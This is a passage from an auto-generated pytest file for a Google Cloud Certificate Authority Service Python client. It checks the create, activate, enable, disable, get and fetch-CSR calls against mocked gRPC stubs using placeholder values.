assert arg == mock_val
@pytest.mark.asyncio
async def test_activate_certificate_authority_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.activate_certificate_authority(
service.ActivateCertificateAuthorityRequest(), name="name_value",
)
@pytest.mark.parametrize(
"request_type", [service.CreateCertificateAuthorityRequest, dict,]
)
def test_create_certificate_authority(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.create_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateCertificateAuthorityRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_create_certificate_authority_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate_authority), "__call__"
) as call:
client.create_certificate_authority()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateCertificateAuthorityRequest()
@pytest.mark.asyncio
async def test_create_certificate_authority_async(
transport: str = "grpc_asyncio",
request_type=service.CreateCertificateAuthorityRequest,
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.create_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.CreateCertificateAuthorityRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_create_certificate_authority_async_from_dict():
await test_create_certificate_authority_async(request_type=dict)
def test_create_certificate_authority_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CreateCertificateAuthorityRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate_authority), "__call__"
) as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.create_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_create_certificate_authority_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.CreateCertificateAuthorityRequest()
request.parent = "parent/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate_authority), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.create_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "parent=parent/value",) in kw["metadata"]
def test_create_certificate_authority_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.create_certificate_authority(
parent="parent_value",
certificate_authority=resources.CertificateAuthority(name="name_value"),
certificate_authority_id="certificate_authority_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].certificate_authority
mock_val = resources.CertificateAuthority(name="name_value")
assert arg == mock_val
arg = args[0].certificate_authority_id
mock_val = "certificate_authority_id_value"
assert arg == mock_val
def test_create_certificate_authority_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.create_certificate_authority(
service.CreateCertificateAuthorityRequest(),
parent="parent_value",
certificate_authority=resources.CertificateAuthority(name="name_value"),
certificate_authority_id="certificate_authority_id_value",
)
@pytest.mark.asyncio
async def test_create_certificate_authority_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.create_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.create_certificate_authority(
parent="parent_value",
certificate_authority=resources.CertificateAuthority(name="name_value"),
certificate_authority_id="certificate_authority_id_value",
)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].parent
mock_val = "parent_value"
assert arg == mock_val
arg = args[0].certificate_authority
mock_val = resources.CertificateAuthority(name="name_value")
assert arg == mock_val
arg = args[0].certificate_authority_id
mock_val = "certificate_authority_id_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_create_certificate_authority_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.create_certificate_authority(
service.CreateCertificateAuthorityRequest(),
parent="parent_value",
certificate_authority=resources.CertificateAuthority(name="name_value"),
certificate_authority_id="certificate_authority_id_value",
)
@pytest.mark.parametrize(
"request_type", [service.DisableCertificateAuthorityRequest, dict,]
)
def test_disable_certificate_authority(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.disable_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.disable_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.DisableCertificateAuthorityRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_disable_certificate_authority_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.disable_certificate_authority), "__call__"
) as call:
client.disable_certificate_authority()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.DisableCertificateAuthorityRequest()
@pytest.mark.asyncio
async def test_disable_certificate_authority_async(
transport: str = "grpc_asyncio",
request_type=service.DisableCertificateAuthorityRequest,
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.disable_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.disable_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.DisableCertificateAuthorityRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_disable_certificate_authority_async_from_dict():
await test_disable_certificate_authority_async(request_type=dict)
def test_disable_certificate_authority_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.DisableCertificateAuthorityRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.disable_certificate_authority), "__call__"
) as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.disable_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_disable_certificate_authority_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.DisableCertificateAuthorityRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.disable_certificate_authority), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.disable_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_disable_certificate_authority_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.disable_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.disable_certificate_authority(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_disable_certificate_authority_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.disable_certificate_authority(
service.DisableCertificateAuthorityRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_disable_certificate_authority_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.disable_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.disable_certificate_authority(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_disable_certificate_authority_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.disable_certificate_authority(
service.DisableCertificateAuthorityRequest(), name="name_value",
)
@pytest.mark.parametrize(
"request_type", [service.EnableCertificateAuthorityRequest, dict,]
)
def test_enable_certificate_authority(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.enable_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/spam")
response = client.enable_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.EnableCertificateAuthorityRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
def test_enable_certificate_authority_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.enable_certificate_authority), "__call__"
) as call:
client.enable_certificate_authority()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.EnableCertificateAuthorityRequest()
@pytest.mark.asyncio
async def test_enable_certificate_authority_async(
transport: str = "grpc_asyncio",
request_type=service.EnableCertificateAuthorityRequest,
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.enable_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
response = await client.enable_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.EnableCertificateAuthorityRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, future.Future)
@pytest.mark.asyncio
async def test_enable_certificate_authority_async_from_dict():
await test_enable_certificate_authority_async(request_type=dict)
def test_enable_certificate_authority_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.EnableCertificateAuthorityRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.enable_certificate_authority), "__call__"
) as call:
call.return_value = operations_pb2.Operation(name="operations/op")
client.enable_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_enable_certificate_authority_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.EnableCertificateAuthorityRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.enable_certificate_authority), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/op")
)
await client.enable_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_enable_certificate_authority_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.enable_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.enable_certificate_authority(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_enable_certificate_authority_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.enable_certificate_authority(
service.EnableCertificateAuthorityRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_enable_certificate_authority_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.enable_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = operations_pb2.Operation(name="operations/op")
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
operations_pb2.Operation(name="operations/spam")
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.enable_certificate_authority(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_enable_certificate_authority_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.enable_certificate_authority(
service.EnableCertificateAuthorityRequest(), name="name_value",
)
@pytest.mark.parametrize(
"request_type", [service.FetchCertificateAuthorityCsrRequest, dict,]
)
def test_fetch_certificate_authority_csr(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.fetch_certificate_authority_csr), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.FetchCertificateAuthorityCsrResponse(
pem_csr="pem_csr_value",
)
response = client.fetch_certificate_authority_csr(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.FetchCertificateAuthorityCsrRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, service.FetchCertificateAuthorityCsrResponse)
assert response.pem_csr == "pem_csr_value"
def test_fetch_certificate_authority_csr_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.fetch_certificate_authority_csr), "__call__"
) as call:
client.fetch_certificate_authority_csr()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.FetchCertificateAuthorityCsrRequest()
@pytest.mark.asyncio
async def test_fetch_certificate_authority_csr_async(
transport: str = "grpc_asyncio",
request_type=service.FetchCertificateAuthorityCsrRequest,
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.fetch_certificate_authority_csr), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.FetchCertificateAuthorityCsrResponse(pem_csr="pem_csr_value",)
)
response = await client.fetch_certificate_authority_csr(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.FetchCertificateAuthorityCsrRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, service.FetchCertificateAuthorityCsrResponse)
assert response.pem_csr == "pem_csr_value"
@pytest.mark.asyncio
async def test_fetch_certificate_authority_csr_async_from_dict():
await test_fetch_certificate_authority_csr_async(request_type=dict)
def test_fetch_certificate_authority_csr_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.FetchCertificateAuthorityCsrRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.fetch_certificate_authority_csr), "__call__"
) as call:
call.return_value = service.FetchCertificateAuthorityCsrResponse()
client.fetch_certificate_authority_csr(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_fetch_certificate_authority_csr_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.FetchCertificateAuthorityCsrRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.fetch_certificate_authority_csr), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.FetchCertificateAuthorityCsrResponse()
)
await client.fetch_certificate_authority_csr(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_fetch_certificate_authority_csr_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.fetch_certificate_authority_csr), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.FetchCertificateAuthorityCsrResponse()
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
client.fetch_certificate_authority_csr(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
def test_fetch_certificate_authority_csr_flattened_error():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
client.fetch_certificate_authority_csr(
service.FetchCertificateAuthorityCsrRequest(), name="name_value",
)
@pytest.mark.asyncio
async def test_fetch_certificate_authority_csr_flattened_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.fetch_certificate_authority_csr), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = service.FetchCertificateAuthorityCsrResponse()
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
service.FetchCertificateAuthorityCsrResponse()
)
# Call the method with a truthy value for each flattened field,
# using the keyword arguments to the method.
response = await client.fetch_certificate_authority_csr(name="name_value",)
# Establish that the underlying call was made with the expected
# request object values.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
arg = args[0].name
mock_val = "name_value"
assert arg == mock_val
@pytest.mark.asyncio
async def test_fetch_certificate_authority_csr_flattened_error_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Attempting to call a method with both a request object and flattened
# fields is an error.
with pytest.raises(ValueError):
await client.fetch_certificate_authority_csr(
service.FetchCertificateAuthorityCsrRequest(), name="name_value",
)
@pytest.mark.parametrize(
"request_type", [service.GetCertificateAuthorityRequest, dict,]
)
def test_get_certificate_authority(request_type, transport: str = "grpc"):
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = resources.CertificateAuthority(
name="name_value",
type_=resources.CertificateAuthority.Type.SELF_SIGNED,
tier=resources.CaPool.Tier.ENTERPRISE,
state=resources.CertificateAuthority.State.ENABLED,
pem_ca_certificates=["pem_ca_certificates_value"],
gcs_bucket="gcs_bucket_value",
)
response = client.get_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetCertificateAuthorityRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CertificateAuthority)
assert response.name == "name_value"
assert response.type_ == resources.CertificateAuthority.Type.SELF_SIGNED
assert response.tier == resources.CaPool.Tier.ENTERPRISE
assert response.state == resources.CertificateAuthority.State.ENABLED
assert response.pem_ca_certificates == ["pem_ca_certificates_value"]
assert response.gcs_bucket == "gcs_bucket_value"
def test_get_certificate_authority_empty_call():
# This test is a coverage failsafe to make sure that totally empty calls,
# i.e. request == None and no flattened fields passed, work.
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(), transport="grpc",
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_authority), "__call__"
) as call:
client.get_certificate_authority()
call.assert_called()
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetCertificateAuthorityRequest()
@pytest.mark.asyncio
async def test_get_certificate_authority_async(
transport: str = "grpc_asyncio", request_type=service.GetCertificateAuthorityRequest
):
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(), transport=transport,
)
# Everything is optional in proto3 as far as the runtime is concerned,
# and we are mocking out the actual API, so just send an empty request.
request = request_type()
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_authority), "__call__"
) as call:
# Designate an appropriate return value for the call.
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CertificateAuthority(
name="name_value",
type_=resources.CertificateAuthority.Type.SELF_SIGNED,
tier=resources.CaPool.Tier.ENTERPRISE,
state=resources.CertificateAuthority.State.ENABLED,
pem_ca_certificates=["pem_ca_certificates_value"],
gcs_bucket="gcs_bucket_value",
)
)
response = await client.get_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == service.GetCertificateAuthorityRequest()
# Establish that the response is the type that we expect.
assert isinstance(response, resources.CertificateAuthority)
assert response.name == "name_value"
assert response.type_ == resources.CertificateAuthority.Type.SELF_SIGNED
assert response.tier == resources.CaPool.Tier.ENTERPRISE
assert response.state == resources.CertificateAuthority.State.ENABLED
assert response.pem_ca_certificates == ["pem_ca_certificates_value"]
assert response.gcs_bucket == "gcs_bucket_value"
@pytest.mark.asyncio
async def test_get_certificate_authority_async_from_dict():
await test_get_certificate_authority_async(request_type=dict)
def test_get_certificate_authority_field_headers():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetCertificateAuthorityRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_authority), "__call__"
) as call:
call.return_value = resources.CertificateAuthority()
client.get_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls) == 1
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
@pytest.mark.asyncio
async def test_get_certificate_authority_field_headers_async():
client = CertificateAuthorityServiceAsyncClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Any value that is part of the HTTP/1.1 URI should be sent as
# a field header. Set these to a non-empty value.
request = service.GetCertificateAuthorityRequest()
request.name = "name/value"
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_authority), "__call__"
) as call:
call.return_value = grpc_helpers_async.FakeUnaryUnaryCall(
resources.CertificateAuthority()
)
await client.get_certificate_authority(request)
# Establish that the underlying gRPC stub method was called.
assert len(call.mock_calls)
_, args, _ = call.mock_calls[0]
assert args[0] == request
# Establish that the field header was sent.
_, _, kw = call.mock_calls[0]
assert ("x-goog-request-params", "name=name/value",) in kw["metadata"]
def test_get_certificate_authority_flattened():
client = CertificateAuthorityServiceClient(
credentials=ga_credentials.AnonymousCredentials(),
)
# Mock the actual call within the gRPC stub, and fake the request.
with mock.patch.object(
type(client.transport.get_certificate_authority), "__call__"
